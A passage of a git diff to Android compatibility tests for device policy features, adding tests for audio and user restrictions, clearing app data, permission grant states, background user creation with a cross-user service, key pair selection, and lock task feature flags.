+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.crossprofileappstest;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Context;
+
+public class NonMainActivity extends Activity {
+
+ public static ComponentName getComponentName(Context context) {
+ return new ComponentName(context, NonMainActivity.class);
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
index efc7115..f26d228 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
@@ -83,8 +83,8 @@
}
try {
- // Set volume of ringtone to be 1.
- mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 1, /* flag= */ 0);
+ // Set volume of music to be 1.
+ mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, /* flag= */ 0);
// Disallow adjusting volume.
mDevicePolicyManager.addUserRestriction(ADMIN_RECEIVER_COMPONENT,
@@ -93,7 +93,7 @@
// Verify that volume can't be changed.
mAudioManager.adjustVolume(AudioManager.ADJUST_RAISE, /* flag= */ 0);
- assertEquals(1, mAudioManager.getStreamVolume(AudioManager.STREAM_RING));
+ assertEquals(1, mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC));
// Allowing adjusting volume.
mDevicePolicyManager.clearUserRestriction(ADMIN_RECEIVER_COMPONENT,
@@ -105,7 +105,7 @@
waitUntil(2, new Callable<Integer>() {
@Override
public Integer call() throws Exception {
- return mAudioManager.getStreamVolume(AudioManager.STREAM_RING);
+ return mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
}
});
} finally {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ClearApplicationDataTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ClearApplicationDataTest.java
new file mode 100644
index 0000000..d477706
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ClearApplicationDataTest.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright 2017, The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import android.os.Handler;
+import android.os.HandlerThread;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Test class that calls DPM.clearApplicationUserData and verifies that it doesn't time out.
+ */
+public class ClearApplicationDataTest extends BaseDeviceAdminTest {
+ private static final String TEST_PKG = "com.android.cts.intent.receiver";
+ private static final Semaphore mSemaphore = new Semaphore(0);
+ private static final long CLEAR_APPLICATION_DATA_TIMEOUT_S = 10;
+
+ private HandlerThread mHandlerThread;
+ private Handler mHandler;
+
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ mHandlerThread = new HandlerThread("ClearApplicationData");
+ mHandlerThread.start();
+ mHandler = new Handler(mHandlerThread.getLooper());
+ }
+
+ @Override
+ public void tearDown() throws Exception {
+ mHandlerThread.quitSafely();
+ super.tearDown();
+ }
+
+ public void testClearApplicationData() throws Exception {
+ mDevicePolicyManager.clearApplicationUserData(ADMIN_RECEIVER_COMPONENT, TEST_PKG,
+ (String pkg, boolean succeeded) -> {
+ assertEquals(TEST_PKG, pkg);
+ assertTrue(succeeded);
+ mSemaphore.release();
+ }, mHandler);
+
+ assertTrue("Clearing application data took too long",
+ mSemaphore.tryAcquire(CLEAR_APPLICATION_DATA_TIMEOUT_S, TimeUnit.SECONDS));
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
index 6c706ee..70a5d09 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
@@ -22,7 +22,6 @@
import android.content.Intent;
import android.content.IntentFilter;
import android.content.pm.PackageManager;
-import android.os.UserManager;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.BySelector;
import android.support.test.uiautomator.UiDevice;
@@ -47,6 +46,7 @@
private static final String SIMPLE_PRE_M_APP_PACKAGE_NAME =
"com.android.cts.launcherapps.simplepremapp";
private static final String PERMISSION_NAME = "android.permission.READ_CONTACTS";
+ private static final String DEVELOPMENT_PERMISSION = "android.permission.INTERACT_ACROSS_USERS";
private static final String PERMISSIONS_ACTIVITY_NAME
= PERMISSION_APP_PACKAGE_NAME + ".PermissionActivity";
@@ -227,6 +227,15 @@
assertSetPermissionGrantStatePreMApp(DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED);
}
+ public void testPermissionGrantState_developmentPermission() throws Exception {
+ assertFailedToSetDevelopmentPermissionGrantState(
+ DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED);
+ assertFailedToSetDevelopmentPermissionGrantState(
+ DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
+ assertFailedToSetDevelopmentPermissionGrantState(
+ DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED);
+ }
+
private void assertPermissionRequest(int expected) throws Exception {
assertPermissionRequest(expected, null);
}
@@ -274,6 +283,18 @@
value);
}
+ private void assertFailedToSetDevelopmentPermissionGrantState(int value) throws Exception {
+ assertFalse(mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+ PERMISSION_APP_PACKAGE_NAME, DEVELOPMENT_PERMISSION, value));
+ assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+ PERMISSION_APP_PACKAGE_NAME, DEVELOPMENT_PERMISSION),
+ DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
+ assertEquals(mPackageManager.checkPermission(DEVELOPMENT_PERMISSION,
+ PERMISSION_APP_PACKAGE_NAME),
+ PackageManager.PERMISSION_DENIED);
+ }
+
+
private void assertSetPermissionGrantStatePreMApp(int value) throws Exception {
assertFalse(mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
SIMPLE_PRE_M_APP_PACKAGE_NAME, PERMISSION_NAME,
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/BaseUserRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/BaseUserRestrictionsTest.java
index 39235b0..0361fd8 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/BaseUserRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/BaseUserRestrictionsTest.java
@@ -60,6 +60,7 @@
UserManager.DISALLOW_SMS,
UserManager.DISALLOW_FUN,
UserManager.DISALLOW_CREATE_WINDOWS,
+ UserManager.DISALLOW_SYSTEM_ERROR_DIALOGS,
UserManager.DISALLOW_CROSS_PROFILE_COPY_PASTE,
UserManager.DISALLOW_OUTGOING_BEAM,
UserManager.DISALLOW_SAFE_BOOT,
@@ -91,7 +92,8 @@
// PO can set them too, but when DO sets them, they're global.
UserManager.DISALLOW_ADJUST_VOLUME,
- UserManager.DISALLOW_UNMUTE_MICROPHONE
+ UserManager.DISALLOW_UNMUTE_MICROPHONE,
+ UserManager.DISALLOW_SYSTEM_ERROR_DIALOGS
};
public static final String[] HIDDEN_AND_PROHIBITED = new String[] {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/DeviceOwnerUserRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/DeviceOwnerUserRestrictionsTest.java
index b218341..0595f3c 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/DeviceOwnerUserRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/DeviceOwnerUserRestrictionsTest.java
@@ -48,6 +48,7 @@
UserManager.DISALLOW_SMS,
UserManager.DISALLOW_FUN,
UserManager.DISALLOW_CREATE_WINDOWS,
+ UserManager.DISALLOW_SYSTEM_ERROR_DIALOGS,
UserManager.DISALLOW_CROSS_PROFILE_COPY_PASTE,
UserManager.DISALLOW_OUTGOING_BEAM,
UserManager.DISALLOW_SAFE_BOOT,
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/SecondaryProfileOwnerUserRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/SecondaryProfileOwnerUserRestrictionsTest.java
index 5c7f243..89bafdc 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/SecondaryProfileOwnerUserRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/SecondaryProfileOwnerUserRestrictionsTest.java
@@ -38,6 +38,7 @@
UserManager.DISALLOW_UNMUTE_MICROPHONE,
UserManager.DISALLOW_ADJUST_VOLUME,
UserManager.DISALLOW_OUTGOING_CALLS,
+ UserManager.DISALLOW_SYSTEM_ERROR_DIALOGS,
UserManager.DISALLOW_CROSS_PROFILE_COPY_PASTE,
UserManager.DISALLOW_OUTGOING_BEAM,
UserManager.ALLOW_PARENT_PROFILE_APP_LINKING,
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk b/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
index 4cc041a..4084099 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
@@ -22,7 +22,10 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+ $(call all-Iaidl-files-under, src)
+
+LOCAL_AIDL_INCLUDES := $(LOCAL_PATH)/src
LOCAL_JAVA_LIBRARIES := android.test.runner conscrypt cts-junit
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
index 9a09007..f032a93 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
@@ -52,6 +52,20 @@
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>
+ <receiver
+ android:name="com.android.cts.deviceowner.CreateAndManageUserTest$SecondaryUserAdminReceiver"
+ android:permission="android.permission.BIND_DEVICE_ADMIN">
+ <meta-data android:name="android.app.device_admin"
+ android:resource="@xml/device_admin" />
+ <intent-filter>
+ <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+ </intent-filter>
+ </receiver>
+
+ <service android:name="com.android.cts.deviceowner.CreateAndManageUserTest$PrimaryUserService"
+ android:exported="true"
+ android:permission="android.permission.BIND_DEVICE_ADMIN">
+ </service>
<activity
android:name="com.android.cts.deviceowner.KeyManagementActivity"
@@ -70,14 +84,6 @@
</intent-filter>
</activity>
- <!-- we need to give a different taskAffinity so that when we use
- FLAG_ACTIVITY_NEW_TASK, the system tries to start it in a different task
- -->
- <activity
- android:name="com.android.cts.deviceowner.LockTaskTest$IntentReceivingActivity"
- android:taskAffinity="com.android.cts.deviceowner.LockTaskTest.IntentReceivingActivity"
- />
-
<activity
android:name=".SetPolicyActivity"
android:launchMode="singleTop">
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
index a540c27..ce39db4 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
@@ -17,6 +17,7 @@
package com.android.cts.deviceowner;
import android.app.ActivityManager;
+import android.app.Service;
import android.app.admin.DeviceAdminReceiver;
import android.app.admin.DevicePolicyManager;
import android.content.BroadcastReceiver;
@@ -24,16 +25,20 @@
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
+import android.content.ServiceConnection;
import android.content.pm.PackageManager;
-import android.os.Bundle;
+import android.os.IBinder;
import android.os.PersistableBundle;
-import android.os.Process;
+import android.os.RemoteException;
import android.os.UserHandle;
import android.os.UserManager;
import android.provider.Settings;
import android.support.v4.content.LocalBroadcastManager;
import android.util.Log;
-import java.lang.reflect.Field;
+
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.Semaphore;
import java.util.concurrent.SynchronousQueue;
import java.util.concurrent.TimeUnit;
@@ -50,6 +55,12 @@
private static final String SETUP_COMPLETE_EXTRA = "setupCompleteExtra";
private static final int BROADCAST_TIMEOUT = 15_000;
private static final int USER_SWITCH_DELAY = 10_000;
+
+ private static final String AFFILIATION_ID = "affiliation.id";
+ private static final String EXTRA_AFFILIATION_ID = "affiliationIdExtra";
+ private static final long ON_ENABLED_TIMEOUT_SECONDS = 120;
+
+
private PackageManager mPackageManager;
private ActivityManager mActivityManager;
private volatile boolean mReceived;
@@ -204,44 +215,13 @@
public void testCreateAndManageEphemeralUser() throws Exception {
String testUserName = "TestUser_" + System.currentTimeMillis();
- // Use reflection to get the value of the hidden flag to make the new user ephemeral.
- Field field = DevicePolicyManager.class.getField("MAKE_USER_EPHEMERAL");
- int makeEphemeralFlag = field.getInt(null);
-
// Do not assign return value to mUserHandle, so it is not removed in tearDown.
mDevicePolicyManager.createAndManageUser(
getWho(),
testUserName,
getWho(),
null,
- makeEphemeralFlag);
- }
-
- /**
- * Test creating an ephemeral user using the {@link DevicePolicyManager#createAndManageUser}
- * method fails on systems without the split system user.
- *
- * <p>To be used by host-side test on systems without the split system user.
- */
- public void testCreateAndManageEphemeralUserFails() throws Exception {
- String testUserName = "TestUser_" + System.currentTimeMillis();
-
- // Use reflection to get the value of the hidden flag to make the new user ephemeral.
- Field field = DevicePolicyManager.class.getField("MAKE_USER_EPHEMERAL");
- int makeEphemeralFlag = field.getInt(null);
-
- try {
- mDevicePolicyManager.createAndManageUser(
- getWho(),
- testUserName,
- getWho(),
- null,
- makeEphemeralFlag);
- } catch (IllegalArgumentException e) {
- // Success, the expected exception was thrown.
- return;
- }
- fail("createAndManageUser should have thrown IllegalArgumentException");
+ DevicePolicyManager.MAKE_USER_EPHEMERAL);
}
// Disabled due to b/29072728
@@ -302,6 +282,28 @@
}
}
+ public void testCreateAndManageUser_StartUserInBackground() throws Exception {
+ String testUserName = "TestUser_" + System.currentTimeMillis();
+
+ // Set affiliation id to allow communication
+ mDevicePolicyManager.setAffiliationIds(getWho(), Collections.singleton(AFFILIATION_ID));
+
+ // Pack the affiliation id in a bundle so the secondary user can get it
+ PersistableBundle bundle = new PersistableBundle();
+ bundle.putString(EXTRA_AFFILIATION_ID, AFFILIATION_ID);
+
+ // Do not assign return value to mUserHandle, so it is not removed in tearDown.
+ UserHandle uh = mDevicePolicyManager.createAndManageUser(
+ getWho(),
+ testUserName,
+ SecondaryUserAdminReceiver.getComponentName(mContext),
+ bundle,
+ DevicePolicyManager.START_USER_IN_BACKGROUND);
+ Log.d(TAG, "User create: " + uh);
+
+ PrimaryUserService.assertCrossUserCallArrived();
+ }
+
static class LocalBroadcastReceiver extends BroadcastReceiver {
private SynchronousQueue<UserHandle> mQueue = new SynchronousQueue<UserHandle>();
@@ -318,4 +320,75 @@
return mQueue.poll(BROADCAST_TIMEOUT, TimeUnit.MILLISECONDS);
}
}
+
+ public static final class PrimaryUserService extends Service {
+ private static final Semaphore mSemaphore = new Semaphore(0);
+
+ private final ICrossUserService.Stub mBinder = new ICrossUserService.Stub() {
+ public void onEnabledCalled() {
+ Log.d(TAG, "onEnabledCalled on primary user");
+ mSemaphore.release();
+ }
+ };
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return mBinder;
+ }
+
+ static void assertCrossUserCallArrived() throws Exception {
+ assertTrue(mSemaphore.tryAcquire(ON_ENABLED_TIMEOUT_SECONDS, TimeUnit.SECONDS));
+ }
+ }
+
+ public static final class SecondaryUserAdminReceiver extends DeviceAdminReceiver {
+ @Override
+ public void onEnabled(Context context, Intent intent) {
+ Log.d(TAG, "onEnabled called");
+ DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
+ // Set affiliation ids
+ String affiliationId = intent.getStringExtra(EXTRA_AFFILIATION_ID);
+ dpm.setAffiliationIds(getComponentName(context),
+ Collections.singleton(affiliationId));
+ // Call all affiliated users
+ final List<UserHandle> targetUsers = dpm.getBindDeviceAdminTargetUsers(
+ getComponentName(context));
+ assertEquals(1, targetUsers.size());
+ pingTargetUser(context, dpm, targetUsers.get(0));
+ }
+
+ private void pingTargetUser(Context context, DevicePolicyManager dpm, UserHandle target) {
+ Log.d(TAG, "Pinging target: " + target);
+ final ServiceConnection serviceConnection = new ServiceConnection() {
+ @Override
+ public void onServiceConnected(ComponentName name, IBinder service) {
+ Log.d(TAG, "onServiceConnected is called in " + Thread.currentThread().getName());
+ ICrossUserService crossUserService = ICrossUserService
+ .Stub.asInterface(service);
+ try {
+ crossUserService.onEnabledCalled();
+ } catch (RemoteException re) {
+ Log.e(TAG, "Error when calling primary user", re);
+ // Do nothing, primary user will time out
+ }
+ }
+
+ @Override
+ public void onServiceDisconnected(ComponentName name) {
+ Log.d(TAG, "onServiceDisconnected is called");
+ }
+ };
+ final Intent serviceIntent = new Intent(context, PrimaryUserService.class);
+ assertTrue(dpm.bindDeviceAdminServiceAsUser(
+ getComponentName(context),
+ serviceIntent,
+ serviceConnection,
+ Context.BIND_AUTO_CREATE,
+ target));
+ }
+
+ public static ComponentName getComponentName(Context context) {
+ return new ComponentName(context, SecondaryUserAdminReceiver.class);
+ }
+ }
}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/ICrossUserService.aidl b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/ICrossUserService.aidl
new file mode 100644
index 0000000..0cf5dcf
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/ICrossUserService.aidl
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceowner;
+
+interface ICrossUserService {
+ void onEnabledCalled();
+}
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/KeyManagementTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/KeyManagementTest.java
index 0b783a0..e569fc0 100755
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/KeyManagementTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/KeyManagementTest.java
@@ -215,11 +215,33 @@
}
}
+ public void testNotUserSelectableAliasCanBeChosenViaPolicy() throws Exception {
+ final String alias = "com.android.test.not-selectable-key-1";
+ final PrivateKey privKey = getPrivateKey(FAKE_RSA_1.privateKey , "RSA");
+ final Certificate cert = getCertificate(FAKE_RSA_1.caCertificate);
+
+ // Install keypair.
+ assertTrue(mDevicePolicyManager.installKeyPair(
+ getWho(), privKey, new Certificate[] {cert}, alias, false, false));
+ try {
+ // Request and retrieve using the alias.
+ assertGranted(alias, false);
+ assertEquals(alias, new KeyChainAliasFuture(alias).get());
+ assertGranted(alias, true);
+ } finally {
+ // Delete regardless of whether the test succeeded.
+ assertTrue(mDevicePolicyManager.removeKeyPair(getWho(), alias));
+ }
+ }
+
private void assertGranted(String alias, boolean expected) throws InterruptedException {
boolean granted = false;
try {
granted = (KeyChain.getPrivateKey(getActivity(), alias) != null);
} catch (KeyChainException e) {
+ if (expected) {
+ e.printStackTrace();
+ }
}
assertEquals("Grant for alias: \"" + alias + "\"", expected, granted);
}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskTest.java
index 9c5380a..d625a6b 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskTest.java
@@ -15,14 +15,22 @@
*/
package com.android.cts.deviceowner;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_GLOBAL_ACTIONS;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_HOME;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_KEYGUARD;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_NONE;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_NOTIFICATIONS;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_RECENTS;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_SYSTEM_INFO;
+
import static junit.framework.Assert.assertEquals;
import static junit.framework.Assert.assertFalse;
import static junit.framework.Assert.assertTrue;
import static org.junit.Assert.assertArrayEquals;
-import android.app.Activity;
import android.app.ActivityManager;
+import android.app.ActivityOptions;
import android.app.admin.DevicePolicyManager;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
@@ -39,6 +47,8 @@
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.concurrent.TimeUnit;
+
@RunWith(AndroidJUnit4.class)
public class LockTaskTest {
@@ -54,18 +64,23 @@
private static final String UTILITY_ACTIVITY_IF_WHITELISTED
= "com.android.cts.deviceowner.LockTaskUtilityActivityIfWhitelisted";
- private static final String RECEIVING_ACTIVITY_PACKAGE_NAME
- = "com.android.cts.intent.receiver";
- private static final String RECEIVING_ACTIVITY_NAME
- = "com.android.cts.intent.receiver.IntentReceiverActivity";
+ private static final String RECEIVER_ACTIVITY_PACKAGE_NAME =
+ "com.android.cts.intent.receiver";
+ private static final String RECEIVER_ACTIVITY_NAME =
+ "com.android.cts.intent.receiver.IntentReceiverActivity";
private static final String ACTION_JUST_CREATE =
"com.android.cts.action.JUST_CREATE";
+ private static final String ACTION_CREATE_AND_WAIT =
+ "com.android.cts.action.CREATE_AND_WAIT";
+ private static final String RECEIVER_ACTIVITY_CREATED_ACTION =
+ "com.android.cts.deviceowner.action.RECEIVER_ACTIVITY_CREATED";
+ private static final String RECEIVER_ACTIVITY_DESTROYED_ACTION =
+ "com.android.cts.deviceowner.action.RECEIVER_ACTIVITY_DESTROYED";
- private static final int ACTIVITY_RESUMED_TIMEOUT_MILLIS = 20000; // 20 seconds
- private static final int ACTIVITY_RUNNING_TIMEOUT_MILLIS = 10000; // 10 seconds
- private static final int ACTIVITY_DESTROYED_TIMEOUT_MILLIS = 60000; // 60 seconds
- public static final String RECEIVING_ACTIVITY_CREATED_ACTION
- = "com.android.cts.deviceowner.RECEIVING_ACTIVITY_CREATED_ACTION";
+ private static final long ACTIVITY_RESUMED_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(20);
+ private static final long ACTIVITY_RUNNING_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(10);
+ private static final long ACTIVITY_DESTROYED_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(60);
+
/**
* The tests below need to keep detailed track of the state of the activity
* that is started and stopped frequently. To do this it sends a number of
@@ -105,31 +120,27 @@
mIntentHandled = true;
LockTaskTest.this.notify();
}
- } else if (RECEIVING_ACTIVITY_CREATED_ACTION.equals(action)) {
- synchronized(mReceivingActivityCreatedLock) {
- mReceivingActivityWasCreated = true;
- mReceivingActivityCreatedLock.notify();
+ } else if (RECEIVER_ACTIVITY_CREATED_ACTION.equals(action)) {
+ synchronized(mReceiverActivityRunningLock) {
+ mIsReceiverActivityRunning = true;
+ mReceiverActivityRunningLock.notify();
+ }
+ } else if (RECEIVER_ACTIVITY_DESTROYED_ACTION.equals(action)) {
+ synchronized (mReceiverActivityRunningLock) {
+ mIsReceiverActivityRunning = false;
+ mReceiverActivityRunningLock.notify();
}
}
}
};
- public static class IntentReceivingActivity extends Activity {
- @Override
- public void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- sendBroadcast(new Intent(RECEIVING_ACTIVITY_CREATED_ACTION));
- finish();
- }
- }
-
private volatile boolean mIsActivityRunning;
private volatile boolean mIsActivityResumed;
- private volatile boolean mReceivingActivityWasCreated;
+ private volatile boolean mIsReceiverActivityRunning;
private volatile boolean mIntentHandled;
private final Object mActivityRunningLock = new Object();
private final Object mActivityResumedLock = new Object();
- private final Object mReceivingActivityCreatedLock = new Object();
+ private final Object mReceiverActivityRunningLock = new Object();
private Context mContext;
private ActivityManager mActivityManager;
@@ -139,17 +150,17 @@
public void setUp() {
mContext = InstrumentationRegistry.getContext();
- mDevicePolicyManager = (DevicePolicyManager)
- mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
+ mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[0]);
- mActivityManager = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
+ mActivityManager = mContext.getSystemService(ActivityManager.class);
IntentFilter filter = new IntentFilter();
filter.addAction(LockTaskUtilityActivity.CREATE_ACTION);
filter.addAction(LockTaskUtilityActivity.DESTROY_ACTION);
filter.addAction(LockTaskUtilityActivity.INTENT_ACTION);
filter.addAction(LockTaskUtilityActivity.RESUME_ACTION);
filter.addAction(LockTaskUtilityActivity.PAUSE_ACTION);
- filter.addAction(RECEIVING_ACTIVITY_CREATED_ACTION);
+ filter.addAction(RECEIVER_ACTIVITY_CREATED_ACTION);
+ filter.addAction(RECEIVER_ACTIVITY_DESTROYED_ACTION);
mContext.registerReceiver(mReceiver, filter);
}
@@ -172,6 +183,34 @@
assertFalse(mDevicePolicyManager.isLockTaskPermitted(TEST_PACKAGE));
}
+ // Setting and unsetting the lock task features. The actual UI behavior is tested with CTS
+ // verifier.
+ @Test
+ public void testSetLockTaskFeatures() {
+ final int[] flags = new int[] {
+ LOCK_TASK_FEATURE_SYSTEM_INFO,
+ LOCK_TASK_FEATURE_NOTIFICATIONS,
+ LOCK_TASK_FEATURE_HOME,
+ LOCK_TASK_FEATURE_RECENTS,
+ LOCK_TASK_FEATURE_GLOBAL_ACTIONS,
+ LOCK_TASK_FEATURE_KEYGUARD
+ };
+
+ int cumulative = LOCK_TASK_FEATURE_NONE;
+ for (int flag : flags) {
+ mDevicePolicyManager.setLockTaskFeatures(ADMIN_COMPONENT, flag);
+ assertEquals(flag, mDevicePolicyManager.getLockTaskFeatures(ADMIN_COMPONENT));
+
+ cumulative |= flag;
+ mDevicePolicyManager.setLockTaskFeatures(ADMIN_COMPONENT, cumulative);
+ assertEquals(cumulative, mDevicePolicyManager.getLockTaskFeatures(ADMIN_COMPONENT));
+
+ mDevicePolicyManager.setLockTaskFeatures(ADMIN_COMPONENT, LOCK_TASK_FEATURE_NONE);
+ assertEquals(LOCK_TASK_FEATURE_NONE,
+ mDevicePolicyManager.getLockTaskFeatures(ADMIN_COMPONENT));
+ }
+ }
+
// Start lock task, verify that ActivityManager knows thats what is going on.
@Test
public void testStartLockTask() throws Exception {
@@ -219,6 +258,40 @@
assertFalse(mIsActivityResumed);
}
+ // Verifies that removing the whitelist authorization immediately finishes the corresponding
+ // locked task. The other locked task(s) should remain locked.
+ @Test
+ public void testUpdateWhitelisting_twoTasks() throws Exception {
+ mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME,
+ RECEIVER_ACTIVITY_PACKAGE_NAME});
+
+ // Start first locked task
+ startLockTask(UTILITY_ACTIVITY);
+ waitForResume();
+
